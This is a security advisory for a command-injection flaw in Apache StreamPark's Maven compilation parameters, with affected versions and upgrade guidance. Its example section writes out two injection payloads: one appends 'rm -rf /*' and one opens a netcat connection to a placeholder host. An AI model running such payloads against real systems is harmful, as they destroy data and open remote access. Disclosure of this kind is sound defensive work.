GHSA-qg44-xqwj-wc28

Suggest an improvement
Source
https://github.com/advisories/GHSA-qg44-xqwj-wc28
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-qg44-xqwj-wc28/GHSA-qg44-xqwj-wc28.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-qg44-xqwj-wc28
Aliases
Published
2023-12-15T15:30:27Z
Modified
2024-12-03T06:06:51.288045Z
Summary
Apache StreamPark: Authenticated system users could trigger remote command execution
Details

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Mitigation:

all users should upgrade to 2.1.2

Example:

You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":

/usr/share/java/maven-3/conf/settings.xml || rm -rf /*

/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

Database specific
{
    "nvd_published_at": "2023-12-15T13:15:07Z",
    "cwe_ids": [
        "CWE-77"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-16T00:46:50Z"
}
References

Affected packages

Maven / org.apache.streampark:streampark

Package

Name
org.apache.streampark:streampark
View open source insights on deps.dev
Purl
pkg:maven/org.apache.streampark/streampark

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0
Fixed
2.1.2

Affected versions

2.*

2.0.0
2.1.0